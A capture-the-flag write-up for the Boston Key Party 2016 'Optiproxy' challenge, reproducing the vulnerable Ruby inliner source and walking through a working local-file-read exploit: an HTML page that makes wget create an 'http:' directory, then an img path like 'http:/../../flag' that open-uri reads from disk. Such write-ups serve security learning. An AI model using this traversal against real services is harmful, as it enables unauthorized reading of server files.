After I completed SimpleCalc, I wasted way too much time on ComplexCalc and didn’t solve it ( I was so close, I just missed something really obvious). On the last day I only had a couple hours left so I decided to tackle something that shouldn’t be too difficult and that ended up being Optiproxy.
You can find the challenge materials over at http://captf.com/2016/bostonkeyparty/18-optiproxy/
Here’s the source of the Ruby script:
require 'nokogiri'
require 'open-uri'
require 'sinatra'
require 'shellwords'
require 'base64'
require 'fileutils'
set :bind, "0.0.0.0"
cdir = Dir.pwd
get '/' do
str = "welcome to the automatic resource inliner, we inline all images"
str << " go to /example.com to get an inlined version of example.com"
str << " flag is in /flag"
str << " source is in /source"
str
end
get '/source' do
IO.read cdir + "/" + $0
end
get '/flag' do
str = "I mean, /flag on the file system... If you're looking here, I question"
str << " your skills"
str
end
get '/:url' do
url = params[:url]
main_dir = Dir.pwd
temp_dir = ""
dir = Dir.mktmpdir "inliner"
Dir.chdir dir
temp_dir = dir
exec = "timeout 2 wget -T 2 --page-requisites #{Shellwords.shellescape url}"
`#{exec}`
my_dir = Dir.glob ("**/")
Dir.chdir my_dir[0]
index_file = "index.html"
html_file = IO.read index_file
doc = Nokogiri::HTML(open(index_file))
doc.xpath('//img').each do |img|
header = img.xpath('preceding::h2[1]').text
image = img['src']
img_data = ""
uri_scheme = URI(image).scheme
begin
if (uri_scheme == "http" or uri_scheme == "https")
url = image
else
url = "http://#{url}/#{image}"
end
img_data = open(url).read
b64d = "data:image/png;base64," + Base64.strict_encode64(img_data)
img['src'] = b64d
rescue
# gotta catch 'em all
puts "lole"
next
end
end
FileUtils.rm_rf dir
Dir.chdir main_dir
doc.to_html
end
In a nutshell, what it is supposed to do is provide a service that fetches a webpage of your choosing, along with its dependencies, then inlines the images by using the data scheme and base64 encoding them before returning the results to you.
However, if that was all it did then this wouldn’t be fun at all ;)
As the script tells us, the flag for this challenge is in /flag. So we’re definitely either trying to find a remote code execution / command injection vulnerability in the wget command or some sort of local file inclusion.
I saw that the string passed to the wget was escaped and I wasn’t feeling up to playing guessing games with the shell and multibyte characters so I decided to focus on the later part of the code.
I started playing around with the scheme function that was being called on the image URI’s.
─Rikaard@Rikaards-MacBook-Pro ~/ctf/bkp/optiproxy
╰─$ irb
irb(main):001:0> require 'open-uri'
=> true
irb(main):003:0> URI('http://test.com/a.png').scheme
=> "http"
irb(main):004:0> URI('test.com/a.png').scheme
=> nil
irb(main):005:0> URI('http:test.com/a.png').scheme
=> "http"
irb(main):006:0> URI('http://test.com/a.png').scheme
=> "http"
irb(main):007:0> URI('http//test.com/a.png').scheme
=> nil
From this, it was easy to see that all the scheme function cared about was everything up to the ‘:’.
This made me wonder because since anything starting with http:
or https:
would pass the if (uri_scheme == "http" or uri_scheme == "https")
check but something like ‘http:test’ is a valid filename.
Next I decided to find out how open
would treat my crafted URI.
─Rikaard@Rikaards-MacBook-Pro ~/ctf/bkp/optiproxy
╰─$ irb 255 ↵
irb(main):001:0> require 'open-uri'
=> true
irb(main):003:0> open('http://google.com')
=> #<Tempfile:/var/folders/rb/htyhscy144vbtk1n390ps02w0000gn/T/open-uri20160309-55029-siep5z>
irb(main):004:0> open('http:google.com')
Errno::ENOENT: No such file or directory - http:google.com
Awesome :D
So at this point, I could definitely trick it into reading a local file… as long as it was in the current directory and started with http:
…. XD
Not all that useful right about now. It was at this point that I started googling a bit and I found this awesome little article by Egor Homakov ( who I dub Websec Jeezus ).
http://sakurity.com/blog/2015/02/28/openuri.html
When I read this line,
Looks good, but if you manage to create a folder called “http:”, the attacker can read local files with http:/../../../../../etc/passwd
everything became obvious.
Since the wget
had the --page-requisites
flag passed to it, it should be recreating the directory structure of the page it was fetching. Therefore, by linking to a resource in a directory ./http:
I should be able to create a directory called http:
on the remote server allowing me to pull off a local file inclusion.
So I created an index.html
file and hosted it on one of my servers.
<html>
<body>
<img src="./http:/cat2.jpg">
<img src="http:/../../../../../../../../../../../../../flag">
</body>
</html>
When I viewed the source after letting Optiproxy inline it, I saw this.
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html>
<body>
<img src="data:image/png;base64....reallylong">
<img src="data:image/png;base64,UklLe2V4YW1wbGVmbGFnfQo=">
</body>
</html>
I decoded UklLe2V4YW1wbGVmbGFnfQo=
echo -ne 'UklLe2V4YW1wbGVmbGFnfQo=' | base64 -d
RIK{exampleflag}
And there was the flag :)